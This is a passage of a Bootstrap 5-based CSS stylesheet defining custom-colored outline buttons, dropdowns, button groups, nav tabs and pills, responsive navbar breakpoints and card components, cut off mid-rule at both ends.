#6fd943; --bs-btn-border-color: #6fd943; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #6fd943; --bs-btn-hover-border-color: #6fd943; --bs-btn-focus-shadow-rgb: 111, 217, 67; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #6fd943; --bs-btn-active-border-color: #6fd943; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #6fd943; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #6fd943; --bs-gradient: none; } .btn-outline-info { --bs-btn-color: #3ec9d6; --bs-btn-border-color: #3ec9d6; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #3ec9d6; --bs-btn-hover-border-color: #3ec9d6; --bs-btn-focus-shadow-rgb: 62, 201, 214; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #3ec9d6; --bs-btn-active-border-color: #3ec9d6; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #3ec9d6; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #3ec9d6; --bs-gradient: none; } .btn-outline-warning { --bs-btn-color: #ffa21d; --bs-btn-border-color: #ffa21d; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #ffa21d; --bs-btn-hover-border-color: #ffa21d; --bs-btn-focus-shadow-rgb: 255, 162, 29; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #ffa21d; --bs-btn-active-border-color: #ffa21d; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffa21d; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #ffa21d; --bs-gradient: none; } .btn-outline-danger { --bs-btn-color: #ff3a6e; --bs-btn-border-color: #ff3a6e; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #ff3a6e; --bs-btn-hover-border-color: #ff3a6e; --bs-btn-focus-shadow-rgb: 255, 58, 110; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #ff3a6e; --bs-btn-active-border-color: #ff3a6e; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ff3a6e; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #ff3a6e; --bs-gradient: none; } .btn-outline-light { --bs-btn-color: #f8f9fa; --bs-btn-border-color: #f8f9fa; --bs-btn-hover-color: #212529; --bs-btn-hover-bg: #f8f9fa; --bs-btn-hover-border-color: #f8f9fa; --bs-btn-focus-shadow-rgb: 248, 249, 250; --bs-btn-active-color: #212529; --bs-btn-active-bg: #f8f9fa; --bs-btn-active-border-color: #f8f9fa; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #f8f9fa; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #f8f9fa; --bs-gradient: none; } .btn-outline-dark { --bs-btn-color: #1c232f; --bs-btn-border-color: #1c232f; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #1c232f; --bs-btn-hover-border-color: #1c232f; --bs-btn-focus-shadow-rgb: 28, 35, 47; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #1c232f; --bs-btn-active-border-color: #1c232f; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #1c232f; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #1c232f; --bs-gradient: none; } .btn-link { --bs-btn-font-weight: 400; --bs-btn-color: #51459d; --bs-btn-bg: transparent; --bs-btn-border-color: transparent; --bs-btn-hover-color: #51459d; --bs-btn-hover-border-color: transparent; --bs-btn-active-color: #51459d; --bs-btn-active-border-color: transparent; --bs-btn-disabled-color: #6c757d; --bs-btn-disabled-border-color: transparent; --bs-btn-box-shadow: none; --bs-btn-focus-shadow-rgb: 107, 97, 172; text-decoration: none; } .btn-link:hover, .btn-link:focus-visible { text-decoration: underline; } .btn-link:focus-visible { color: var(--bs-btn-color); } .btn-link:hover { color: var(--bs-btn-hover-color); } .btn-lg, .btn-group-lg > .btn { --bs-btn-padding-y: 0.5rem; --bs-btn-padding-x: 1rem; --bs-btn-font-size: 1.09375rem; --bs-btn-border-radius: 8px; } .btn-sm, .btn-group-sm > .btn { --bs-btn-padding-y: 0.25rem; --bs-btn-padding-x: 0.5rem; --bs-btn-font-size: 0.76563rem; --bs-btn-border-radius: 4px; } .fade { transition: opacity 0.15s linear; } @media (prefers-reduced-motion: reduce) { .fade { transition: none; } } .fade:not(.show) { opacity: 0; } .collapse:not(.show) { display: none; } .collapsing { height: 0; overflow: hidden; transition: height 0.35s ease; } @media (prefers-reduced-motion: reduce) { .collapsing { transition: none; } } .collapsing.collapse-horizontal { width: 0; height: auto; transition: width 0.35s ease; } @media (prefers-reduced-motion: reduce) { .collapsing.collapse-horizontal { transition: none; } } .dropup, .dropend, .dropdown, .dropstart, .dropup-center, .dropdown-center { position: relative; } .dropdown-toggle { white-space: nowrap; } .dropdown-toggle::after { display: inline-block; margin-left: 0.255em; vertical-align: 0.255em; content: ""; border-top: 0.3em solid; border-right: 0.3em solid transparent; border-bottom: 0; border-left: 0.3em solid transparent; } .dropdown-toggle:empty::after { margin-left: 0; } .dropdown-menu { --bs-dropdown-zindex: 1000; --bs-dropdown-min-width: 12rem; --bs-dropdown-padding-x: 0; --bs-dropdown-padding-y: 0.5rem; --bs-dropdown-spacer: 0.125rem; --bs-dropdown-font-size: 0.875rem; --bs-dropdown-color: #293240; --bs-dropdown-bg: #ffffff; --bs-dropdown-border-color: rgba(0, 0, 0, 0.15); --bs-dropdown-border-radius: 10px; --bs-dropdown-border-width: 0; --bs-dropdown-inner-border-radius: 10px; --bs-dropdown-divider-bg: #e9ecef; --bs-dropdown-divider-margin-y: 0.5rem; --bs-dropdown-box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.175); --bs-dropdown-link-color: #293240; --bs-dropdown-link-hover-color: #343a40; --bs-dropdown-link-hover-bg: #eff0f2; --bs-dropdown-link-active-color: #343a40; --bs-dropdown-link-active-bg: #eff0f2; --bs-dropdown-link-disabled-color: #6c757d; --bs-dropdown-item-padding-x: 1.5rem; --bs-dropdown-item-padding-y: 0.65rem; --bs-dropdown-header-color: #6c757d; --bs-dropdown-header-padding-x: 1rem; --bs-dropdown-header-padding-y: 0.5rem; position: absolute; z-index: var(--bs-dropdown-zindex); display: none; min-width: var(--bs-dropdown-min-width); padding: var(--bs-dropdown-padding-y) var(--bs-dropdown-padding-x); margin: 0; font-size: var(--bs-dropdown-font-size); color: var(--bs-dropdown-color); text-align: left; list-style: none; background-color: var(--bs-dropdown-bg); background-clip: padding-box; border: var(--bs-dropdown-border-width) solid var(--bs-dropdown-border-color); border-radius: var(--bs-dropdown-border-radius); } .dropdown-menu[data-bs-popper] { top: 100%; left: 0; margin-top: var(--bs-dropdown-spacer); } .dropdown-menu-start { --bs-position: start; } .dropdown-menu-start[data-bs-popper] { right: auto; left: 0; } .dropdown-menu-end { --bs-position: end; } .dropdown-menu-end[data-bs-popper] { right: 0; left: auto; } @media (min-width: 576px) { .dropdown-menu-sm-start { --bs-position: start; } .dropdown-menu-sm-start[data-bs-popper] { right: auto; left: 0; } .dropdown-menu-sm-end { --bs-position: end; } .dropdown-menu-sm-end[data-bs-popper] { right: 0; left: auto; } } @media (min-width: 768px) { .dropdown-menu-md-start { --bs-position: start; } .dropdown-menu-md-start[data-bs-popper] { right: auto; left: 0; } .dropdown-menu-md-end { --bs-position: end; } .dropdown-menu-md-end[data-bs-popper] { right: 0; left: auto; } } @media (min-width: 992px) { .dropdown-menu-lg-start { --bs-position: start; } .dropdown-menu-lg-start[data-bs-popper] { right: auto; left: 0; } .dropdown-menu-lg-end { --bs-position: end; } .dropdown-menu-lg-end[data-bs-popper] { right: 0; left: auto; } } @media (min-width: 1200px) { .dropdown-menu-xl-start { --bs-position: start; } .dropdown-menu-xl-start[data-bs-popper] { right: auto; left: 0; } .dropdown-menu-xl-end { --bs-position: end; } .dropdown-menu-xl-end[data-bs-popper] { right: 0; left: auto; } } @media (min-width: 1400px) { .dropdown-menu-xxl-start { --bs-position: start; } .dropdown-menu-xxl-start[data-bs-popper] { right: auto; left: 0; } .dropdown-menu-xxl-end { --bs-position: end; } .dropdown-menu-xxl-end[data-bs-popper] { right: 0; left: auto; } } .dropup .dropdown-menu[data-bs-popper] { top: auto; bottom: 100%; margin-top: 0; margin-bottom: var(--bs-dropdown-spacer); } .dropup .dropdown-toggle::after { display: inline-block; margin-left: 0.255em; vertical-align: 0.255em; content: ""; border-top: 0; border-right: 0.3em solid transparent; border-bottom: 0.3em solid; border-left: 0.3em solid transparent; } .dropup .dropdown-toggle:empty::after { margin-left: 0; } .dropend .dropdown-menu[data-bs-popper] { top: 0; right: auto; left: 100%; margin-top: 0; margin-left: var(--bs-dropdown-spacer); } .dropend .dropdown-toggle::after { display: inline-block; margin-left: 0.255em; vertical-align: 0.255em; content: ""; border-top: 0.3em solid transparent; border-right: 0; border-bottom: 0.3em solid transparent; border-left: 0.3em solid; } .dropend .dropdown-toggle:empty::after { margin-left: 0; } .dropend .dropdown-toggle::after { vertical-align: 0; } .dropstart .dropdown-menu[data-bs-popper] { top: 0; right: 100%; left: auto; margin-top: 0; margin-right: var(--bs-dropdown-spacer); } .dropstart .dropdown-toggle::after { display: inline-block; margin-left: 0.255em; vertical-align: 0.255em; content: ""; } .dropstart .dropdown-toggle::after { display: none; } .dropstart .dropdown-toggle::before { display: inline-block; margin-right: 0.255em; vertical-align: 0.255em; content: ""; border-top: 0.3em solid transparent; border-right: 0.3em solid; border-bottom: 0.3em solid transparent; } .dropstart .dropdown-toggle:empty::after { margin-left: 0; } .dropstart .dropdown-toggle::before { vertical-align: 0; } .dropdown-divider { height: 0; margin: var(--bs-dropdown-divider-margin-y) 0; overflow: hidden; border-top: 1px solid var(--bs-dropdown-divider-bg); opacity: 1; } .dropdown-item { display: block; width: 100%; padding: var(--bs-dropdown-item-padding-y) var(--bs-dropdown-item-padding-x); clear: both; font-weight: 400; color: var(--bs-dropdown-link-color); text-align: inherit; white-space: nowrap; background-color: transparent; border: 0; } .dropdown-item:hover, .dropdown-item:focus { color: var(--bs-dropdown-link-hover-color); text-decoration: none; background-color: var(--bs-dropdown-link-hover-bg); } .dropdown-item.active, .dropdown-item:active { color: var(--bs-dropdown-link-active-color); text-decoration: none; background-color: var(--bs-dropdown-link-active-bg); } .dropdown-item.disabled, .dropdown-item:disabled { color: var(--bs-dropdown-link-disabled-color); pointer-events: none; background-color: transparent; } .dropdown-menu.show { display: block; } .dropdown-header { display: block; padding: var(--bs-dropdown-header-padding-y) var(--bs-dropdown-header-padding-x); margin-bottom: 0; font-size: 0.76563rem; color: var(--bs-dropdown-header-color); white-space: nowrap; } .dropdown-item-text { display: block; padding: var(--bs-dropdown-item-padding-y) var(--bs-dropdown-item-padding-x); color: var(--bs-dropdown-link-color); } .dropdown-menu-dark { --bs-dropdown-color: #dee2e6; --bs-dropdown-bg: #343a40; --bs-dropdown-border-color: rgba(0, 0, 0, 0.15); --bs-dropdown-box-shadow: ; --bs-dropdown-link-color: #dee2e6; --bs-dropdown-link-hover-color: #ffffff; --bs-dropdown-divider-bg: #e9ecef; --bs-dropdown-link-hover-bg: rgba(255, 255, 255, 0.15); --bs-dropdown-link-active-color: #343a40; --bs-dropdown-link-active-bg: #eff0f2; --bs-dropdown-link-disabled-color: #adb5bd; --bs-dropdown-header-color: #adb5bd; } .btn-group, .btn-group-vertical { position: relative; display: inline-flex; vertical-align: middle; } .btn-group > .btn, .btn-group-vertical > .btn { position: relative; flex: 1 1 auto; } .btn-group > .btn-check:checked + .btn, .btn-group > .btn-check:focus + .btn, .btn-group > .btn:hover, .btn-group > .btn:focus, .btn-group > .btn:active, .btn-group > .btn.active, .btn-group-vertical > .btn-check:checked + .btn, .btn-group-vertical > .btn-check:focus + .btn, .btn-group-vertical > .btn:hover, .btn-group-vertical > .btn:focus, .btn-group-vertical > .btn:active, .btn-group-vertical > .btn.active { z-index: 1; } .btn-toolbar { display: flex; flex-wrap: wrap; justify-content: flex-start; } .btn-toolbar .input-group { width: auto; } .btn-group { border-radius: 6px; } .btn-group > :not(.btn-check:first-child) + .btn, .btn-group > .btn-group:not(:first-child) { margin-left: -1px; } .btn-group > .btn:not(:last-child):not(.dropdown-toggle), .btn-group > .btn.dropdown-toggle-split:first-child, .btn-group > .btn-group:not(:last-child) > .btn { border-top-right-radius: 0; border-bottom-right-radius: 0; } .btn-group > .btn:nth-child(n + 3), .btn-group > :not(.btn-check) + .btn, .btn-group > .btn-group:not(:first-child) > .btn { border-top-left-radius: 0; border-bottom-left-radius: 0; } .dropdown-toggle-split { padding-right: 0.975rem; padding-left: 0.975rem; } .dropdown-toggle-split::after, .dropup .dropdown-toggle-split::after, .dropend .dropdown-toggle-split::after { margin-left: 0; } .dropstart .dropdown-toggle-split::before { margin-right: 0; } .btn-sm + .dropdown-toggle-split, .btn-group-sm > .btn + .dropdown-toggle-split { padding-right: 0.375rem; padding-left: 0.375rem; } .btn-lg + .dropdown-toggle-split, .btn-group-lg > .btn + .dropdown-toggle-split { padding-right: 0.75rem; padding-left: 0.75rem; } .btn-group-vertical { flex-direction: column; align-items: flex-start; justify-content: center; } .btn-group-vertical > .btn, .btn-group-vertical > .btn-group { width: 100%; } .btn-group-vertical > .btn:not(:first-child), .btn-group-vertical > .btn-group:not(:first-child) { margin-top: -1px; } .btn-group-vertical > .btn:not(:last-child):not(.dropdown-toggle), .btn-group-vertical > .btn-group:not(:last-child) > .btn { border-bottom-right-radius: 0; border-bottom-left-radius: 0; } .btn-group-vertical > .btn ~ .btn, .btn-group-vertical > .btn-group:not(:first-child) > .btn { border-top-left-radius: 0; border-top-right-radius: 0; } .nav { --bs-nav-link-padding-x: 1rem; --bs-nav-link-padding-y: 0.5rem; --bs-nav-link-font-weight: ; --bs-nav-link-color: var(--bs-link-color); --bs-nav-link-hover-color: var(--bs-link-hover-color); --bs-nav-link-disabled-color: #6c757d; display: flex; flex-wrap: wrap; padding-left: 0; margin-bottom: 0; list-style: none; } .nav-link { display: block; padding: var(--bs-nav-link-padding-y) var(--bs-nav-link-padding-x); font-size: var(--bs-nav-link-font-size); font-weight: var(--bs-nav-link-font-weight); color: var(--bs-nav-link-color); transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out; } @media (prefers-reduced-motion: reduce) { .nav-link { transition: none; } } .nav-link:hover, .nav-link:focus { color: var(--bs-nav-link-hover-color); text-decoration: none; } .nav-link.disabled { color: var(--bs-nav-link-disabled-color); pointer-events: none; cursor: default; } .nav-tabs { --bs-nav-tabs-border-width: 1px; --bs-nav-tabs-border-color: #dee2e6; --bs-nav-tabs-border-radius: 10px; --bs-nav-tabs-link-hover-border-color: #e9ecef #e9ecef #dee2e6; --bs-nav-tabs-link-active-color: #495057; --bs-nav-tabs-link-active-bg: #ffffff; --bs-nav-tabs-link-active-border-color: #dee2e6 #dee2e6 #ffffff; border-bottom: var(--bs-nav-tabs-border-width) solid var(--bs-nav-tabs-border-color); } .nav-tabs .nav-link { margin-bottom: calc(-1 * var(--bs-nav-tabs-border-width)); background: none; border: var(--bs-nav-tabs-border-width) solid transparent; border-top-left-radius: var(--bs-nav-tabs-border-radius); border-top-right-radius: var(--bs-nav-tabs-border-radius); } .nav-tabs .nav-link:hover, .nav-tabs .nav-link:focus { isolation: isolate; border-color: var(--bs-nav-tabs-link-hover-border-color); } .nav-tabs .nav-link.disabled, .nav-tabs .nav-link:disabled { color: var(--bs-nav-link-disabled-color); background-color: transparent; border-color: transparent; } .nav-tabs .nav-link.active, .nav-tabs .nav-item.show .nav-link { color: var(--bs-nav-tabs-link-active-color); background-color: var(--bs-nav-tabs-link-active-bg); border-color: var(--bs-nav-tabs-link-active-border-color); } .nav-tabs .dropdown-menu { margin-top: calc(-1 * var(--bs-nav-tabs-border-width)); border-top-left-radius: 0; border-top-right-radius: 0; } .nav-pills { --bs-nav-pills-border-radius: 10px; --bs-nav-pills-link-active-color: #ffffff; --bs-nav-pills-link-active-bg: #51459d; } .nav-pills .nav-link { background: none; border: 0; border-radius: var(--bs-nav-pills-border-radius); } .nav-pills .nav-link:disabled { color: var(--bs-nav-link-disabled-color); background-color: transparent; border-color: transparent; } .nav-pills .nav-link.active, .nav-pills .show > .nav-link { color: var(--bs-nav-pills-link-active-color); background-color: var(--bs-nav-pills-link-active-bg); } .nav-fill > .nav-link, .nav-fill .nav-item { flex: 1 1 auto; text-align: center; } .nav-justified > .nav-link, .nav-justified .nav-item { flex-basis: 0; flex-grow: 1; text-align: center; } .nav-fill .nav-item .nav-link, .nav-justified .nav-item .nav-link { width: 100%; } .tab-content > .tab-pane { display: none; } .tab-content > .active { display: block; } .navbar { --bs-navbar-padding-x: 0; --bs-navbar-padding-y: 0.5rem; --bs-navbar-color: rgba(0, 0, 0, 0.55); --bs-navbar-hover-color: rgba(0, 0, 0, 0.7); --bs-navbar-disabled-color: rgba(0, 0, 0, 0.3); --bs-navbar-active-color: rgba(0, 0, 0, 0.9); --bs-navbar-brand-padding-y: 0.33594rem; --bs-navbar-brand-margin-end: 1rem; --bs-navbar-brand-font-size: 1.09375rem; --bs-navbar-brand-color: rgba(0, 0, 0, 0.9); --bs-navbar-brand-hover-color: rgba(0, 0, 0, 0.9); --bs-navbar-nav-link-padding-x: 0.5rem; --bs-navbar-toggler-padding-y: 0.25rem; --bs-navbar-toggler-padding-x: 0.75rem; --bs-navbar-toggler-font-size: 1.09375rem; --bs-navbar-toggler-icon-bg: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 30 30'%3e%3cpath stroke='rgba%280, 0, 0, 0.55%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e"); --bs-navbar-toggler-border-color: rgba(0, 0, 0, 0.1); --bs-navbar-toggler-border-radius: 6px; --bs-navbar-toggler-focus-width: 0.2rem; --bs-navbar-toggler-transition: box-shadow 0.15s ease-in-out; position: relative; display: flex; flex-wrap: wrap; align-items: center; justify-content: space-between; padding: var(--bs-navbar-padding-y) var(--bs-navbar-padding-x); } .navbar > .container, .navbar > .container-fluid, .navbar > .container-sm, .navbar > .container-md, .navbar > .container-lg, .navbar > .container-xl, .navbar > .container-xxl { display: flex; flex-wrap: inherit; align-items: center; justify-content: space-between; } .navbar-brand { padding-top: var(--bs-navbar-brand-padding-y); padding-bottom: var(--bs-navbar-brand-padding-y); margin-right: var(--bs-navbar-brand-margin-end); font-size: var(--bs-navbar-brand-font-size); color: var(--bs-navbar-brand-color); white-space: nowrap; } .navbar-brand:hover, .navbar-brand:focus { color: var(--bs-navbar-brand-hover-color); text-decoration: none; } .navbar-nav { --bs-nav-link-padding-x: 0; --bs-nav-link-padding-y: 0.5rem; --bs-nav-link-font-weight: ; --bs-nav-link-color: var(--bs-navbar-color); --bs-nav-link-hover-color: var(--bs-navbar-hover-color); --bs-nav-link-disabled-color: var(--bs-navbar-disabled-color); display: flex; flex-direction: column; padding-left: 0; margin-bottom: 0; list-style: none; } .navbar-nav .show > .nav-link, .navbar-nav .nav-link.active { color: var(--bs-navbar-active-color); } .navbar-nav .dropdown-menu { position: static; } .navbar-text { padding-top: 0.5rem; padding-bottom: 0.5rem; color: var(--bs-navbar-color); } .navbar-text a, .navbar-text a:hover, .navbar-text a:focus { color: var(--bs-navbar-active-color); } .navbar-collapse { flex-basis: 100%; flex-grow: 1; align-items: center; } .navbar-toggler { padding: var(--bs-navbar-toggler-padding-y) var(--bs-navbar-toggler-padding-x); font-size: var(--bs-navbar-toggler-font-size); line-height: 1; color: var(--bs-navbar-color); background-color: transparent; border: var(--bs-border-width) solid var(--bs-navbar-toggler-border-color); border-radius: var(--bs-navbar-toggler-border-radius); transition: var(--bs-navbar-toggler-transition); } @media (prefers-reduced-motion: reduce) { .navbar-toggler { transition: none; } } .navbar-toggler:hover { text-decoration: none; } .navbar-toggler:focus { text-decoration: none; outline: 0; box-shadow: 0 0 0 var(--bs-navbar-toggler-focus-width); } .navbar-toggler-icon { display: inline-block; width: 1.5em; height: 1.5em; vertical-align: middle; background-image: var(--bs-navbar-toggler-icon-bg); background-repeat: no-repeat; background-position: center; background-size: 100%; } .navbar-nav-scroll { max-height: var(--bs-scroll-height, 75vh); overflow-y: auto; } @media (min-width: 576px) { .navbar-expand-sm { flex-wrap: nowrap; justify-content: flex-start; } .navbar-expand-sm .navbar-nav { flex-direction: row; } .navbar-expand-sm .navbar-nav .dropdown-menu { position: absolute; } .navbar-expand-sm .navbar-nav .nav-link { padding-right: var(--bs-navbar-nav-link-padding-x); padding-left: var(--bs-navbar-nav-link-padding-x); } .navbar-expand-sm .navbar-nav-scroll { overflow: visible; } .navbar-expand-sm .navbar-collapse { display: flex !important; flex-basis: auto; } .navbar-expand-sm .navbar-toggler { display: none; } .navbar-expand-sm .offcanvas { position: static; z-index: auto; flex-grow: 1; width: auto !important; height: auto !important; visibility: visible !important; background-color: transparent !important; border: 0 !important; transform: none !important; transition: none; } .navbar-expand-sm .offcanvas .offcanvas-header { display: none; } .navbar-expand-sm .offcanvas .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; } } @media (min-width: 768px) { .navbar-expand-md { flex-wrap: nowrap; justify-content: flex-start; } .navbar-expand-md .navbar-nav { flex-direction: row; } .navbar-expand-md .navbar-nav .dropdown-menu { position: absolute; } .navbar-expand-md .navbar-nav .nav-link { padding-right: var(--bs-navbar-nav-link-padding-x); padding-left: var(--bs-navbar-nav-link-padding-x); } .navbar-expand-md .navbar-nav-scroll { overflow: visible; } .navbar-expand-md .navbar-collapse { display: flex !important; flex-basis: auto; } .navbar-expand-md .navbar-toggler { display: none; } .navbar-expand-md .offcanvas { position: static; z-index: auto; flex-grow: 1; width: auto !important; height: auto !important; visibility: visible !important; background-color: transparent !important; border: 0 !important; transform: none !important; transition: none; } .navbar-expand-md .offcanvas .offcanvas-header { display: none; } .navbar-expand-md .offcanvas .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; } } @media (min-width: 992px) { .navbar-expand-lg { flex-wrap: nowrap; justify-content: flex-start; } .navbar-expand-lg .navbar-nav { flex-direction: row; } .navbar-expand-lg .navbar-nav .dropdown-menu { position: absolute; } .navbar-expand-lg .navbar-nav .nav-link { padding-right: var(--bs-navbar-nav-link-padding-x); padding-left: var(--bs-navbar-nav-link-padding-x); } .navbar-expand-lg .navbar-nav-scroll { overflow: visible; } .navbar-expand-lg .navbar-collapse { display: flex !important; flex-basis: auto; } .navbar-expand-lg .navbar-toggler { display: none; } .navbar-expand-lg .offcanvas { position: static; z-index: auto; flex-grow: 1; width: auto !important; height: auto !important; visibility: visible !important; background-color: transparent !important; border: 0 !important; transform: none !important; transition: none; } .navbar-expand-lg .offcanvas .offcanvas-header { display: none; } .navbar-expand-lg .offcanvas .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; } } @media (min-width: 1200px) { .navbar-expand-xl { flex-wrap: nowrap; justify-content: flex-start; } .navbar-expand-xl .navbar-nav { flex-direction: row; } .navbar-expand-xl .navbar-nav .dropdown-menu { position: absolute; } .navbar-expand-xl .navbar-nav .nav-link { padding-right: var(--bs-navbar-nav-link-padding-x); padding-left: var(--bs-navbar-nav-link-padding-x); } .navbar-expand-xl .navbar-nav-scroll { overflow: visible; } .navbar-expand-xl .navbar-collapse { display: flex !important; flex-basis: auto; } .navbar-expand-xl .navbar-toggler { display: none; } .navbar-expand-xl .offcanvas { position: static; z-index: auto; flex-grow: 1; width: auto !important; height: auto !important; visibility: visible !important; background-color: transparent !important; border: 0 !important; transform: none !important; transition: none; } .navbar-expand-xl .offcanvas .offcanvas-header { display: none; } .navbar-expand-xl .offcanvas .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; } } @media (min-width: 1400px) { .navbar-expand-xxl { flex-wrap: nowrap; justify-content: flex-start; } .navbar-expand-xxl .navbar-nav { flex-direction: row; } .navbar-expand-xxl .navbar-nav .dropdown-menu { position: absolute; } .navbar-expand-xxl .navbar-nav .nav-link { padding-right: var(--bs-navbar-nav-link-padding-x); padding-left: var(--bs-navbar-nav-link-padding-x); } .navbar-expand-xxl .navbar-nav-scroll { overflow: visible; } .navbar-expand-xxl .navbar-collapse { display: flex !important; flex-basis: auto; } .navbar-expand-xxl .navbar-toggler { display: none; } .navbar-expand-xxl .offcanvas { position: static; z-index: auto; flex-grow: 1; width: auto !important; height: auto !important; visibility: visible !important; background-color: transparent !important; border: 0 !important; transform: none !important; transition: none; } .navbar-expand-xxl .offcanvas .offcanvas-header { display: none; } .navbar-expand-xxl .offcanvas .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; } } .navbar-expand { flex-wrap: nowrap; justify-content: flex-start; } .navbar-expand .navbar-nav { flex-direction: row; } .navbar-expand .navbar-nav .dropdown-menu { position: absolute; } .navbar-expand .navbar-nav .nav-link { padding-right: var(--bs-navbar-nav-link-padding-x); padding-left: var(--bs-navbar-nav-link-padding-x); } .navbar-expand .navbar-nav-scroll { overflow: visible; } .navbar-expand .navbar-collapse { display: flex !important; flex-basis: auto; } .navbar-expand .navbar-toggler { display: none; } .navbar-expand .offcanvas { position: static; z-index: auto; flex-grow: 1; width: auto !important; height: auto !important; visibility: visible !important; background-color: transparent !important; border: 0 !important; transform: none !important; transition: none; } .navbar-expand .offcanvas .offcanvas-header { display: none; } .navbar-expand .offcanvas .offcanvas-body { display: flex; flex-grow: 0; padding: 0; overflow-y: visible; } .navbar-dark { --bs-navbar-color: rgba(255, 255, 255, 0.55); --bs-navbar-hover-color: rgba(255, 255, 255, 0.75); --bs-navbar-disabled-color: rgba(255, 255, 255, 0.25); --bs-navbar-active-color: #ffffff; --bs-navbar-brand-color: #ffffff; --bs-navbar-brand-hover-color: #ffffff; --bs-navbar-toggler-border-color: rgba(255, 255, 255, 0.1); --bs-navbar-toggler-icon-bg: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 30 30'%3e%3cpath stroke='rgba%28255, 255, 255, 0.55%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e"); } .card { --bs-card-spacer-y: 25px; --bs-card-spacer-x: 25px; --bs-card-title-spacer-y: 0.5rem; --bs-card-border-width: 0px; --bs-card-border-color: rgba(0, 0, 0, 0.125); --bs-card-border-radius: 10px; --bs-card-box-shadow: ; --bs-card-inner-border-radius: calc(10px - 0px); --bs-card-cap-padding-y: 25px; --bs-card-cap-padding-x: 25px; --bs-card-cap-bg: transparent; --bs-card-cap-color: ; --bs-card-height:; --bs-card-color: ; --bs-card-bg: #ffffff; --bs-card-img-overlay-padding: 1.25rem; --bs-card-group-margin: 0.75rem; position: relative; display: flex; flex-direction: column; min-width: 0; height: var(--bs-card-height); word-wrap: break-word; background-color: var(--bs-card-bg); background-clip: border-box; border: var(--bs-card-border-width) solid var(--bs-card-border-color); border-radius: var(--bs-card-border-radius); } .card > hr { margin-right: 0; margin-left: 0; } .card > .list-group { border-top: inherit; border-bottom: inherit; } .card > .list-group:first-child { border-top-width: 0; border-top-left-radius: var(--bs-card-inner-border-radius); border-top-right-radius: var(--bs-card-inner-border-radius); } .card > .list-group:last-child { border-bottom-width: 0; border-bottom-right-radius: var(--bs-card-inner-border-radius); border-bottom-left-radius: var(--bs-card-inner-border-radius); } .card > .card-header + .list-group, .card > .list-group + .card-footer { border-top: 0; } .card-body { flex: 1 1 auto; padding: var(--bs-card-spacer-y) var(--bs-card-spacer-x); color: var(--bs-card-color); } .card-title { margin-bottom: var(--bs-card-title-spacer-y); } .card-subtitle { margin-top: calc(-.5 * var(--bs-card-title-spacer-y)); margin-bottom: 0; } .card-text:last-child { margin-bottom: 0; } .card-link:hover { text-decoration: none; } .card-link + .card-link { margin-left: var(--bs-card-spacer-x); } .card-header { padding: var(--bs-card-cap-padding-y) var(--bs-card-cap-padding-x); margin-bottom: 0; color: var(--bs-card-cap-color); background-color: var(--bs-card-cap-bg); border-bottom: var(--bs-card-border-width) solid var(--bs-card-border-color); } .card-header:first-child { border-radius: var(--bs-card-inner-border-radius) var(--bs-card-inner-border-radius) 0 0; } .card-footer { padding: var(--bs-card-cap-padding-y) var(--bs-card-cap-padding-x); color: var(--bs-card-cap-color); background-color: var(--bs-card-cap-bg); border-top: var(--bs-card-border-width) solid var(--bs-card-border-color); } .card-footer:last-child { border-radius: 0 0 var(--bs-card-inner-border-radius) var(--bs-card-inner-border-radius); } .card-header-tabs { margin-right: calc(-.5 * var(--bs-card-cap-padding-x)); margin-bottom: calc(-1 * var(--bs-card-cap-padding-y)); margin-left: calc(-.5 * var(--bs-card-cap-padding-x)); border-bottom: 0; } .card-header-tabs .nav-link.active { background-color: var(--bs-card-bg); border-bottom-color: var(--bs-card-bg); } .card-header-pills { margin-right: calc(-.5 * var(--bs-card-cap-padding-x)); margin-left: calc(-.5 * var(--bs-card-cap-padding-x)); } .card-img-overlay { position: absolute; top: 0; right: 0; bottom: 0; left: 0; padding: var(--bs-card-img-overlay-padding); border-radius: var(--bs-card-inner-border-radius); } .card-img, .card-img-top, .card-img-bottom { width: 100%; } .card-img, .card-img-top { border-top-left-radius: var(--bs-card-inner-border-radius); border-top-right-radius: var(--bs-card-inner-border-radius); } .card-img, .card-img-bottom { border-bottom-right-radius: var(--bs-card-inner-border-radius); border-bottom-left-radius: var(--bs-card-inner-border-radius); } .card-group > .card { margin-bottom: 